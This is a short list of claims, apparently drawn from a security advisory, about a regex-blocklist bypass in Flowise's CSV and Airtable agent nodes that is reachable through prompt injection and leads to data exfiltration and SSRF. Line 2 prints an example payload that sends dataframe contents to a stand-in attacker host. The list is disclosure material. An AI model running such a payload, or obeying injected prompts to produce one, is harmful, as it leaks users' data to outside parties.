0. Flowise <= 3.1.2 CSV Agent and Airtable Agent nodes sanitize LLM-generated Python with a regex blocklist that can be bypassed.  [✓0 ✗0]
1. Reachable via prompt injection through the unauthenticated prediction API; allows data exfiltration and SSRF.  [✓0 ✗0]
2. Example bypass in the advisory: pd.read_json("http://attacker/?d=" + df.to_json()) passes every regex check.  [✓0 ✗0]
3. Fixed in 3.1.3; CVSS 7.5 per the advisory.  [✓0 ✗0]

## Fix
```text
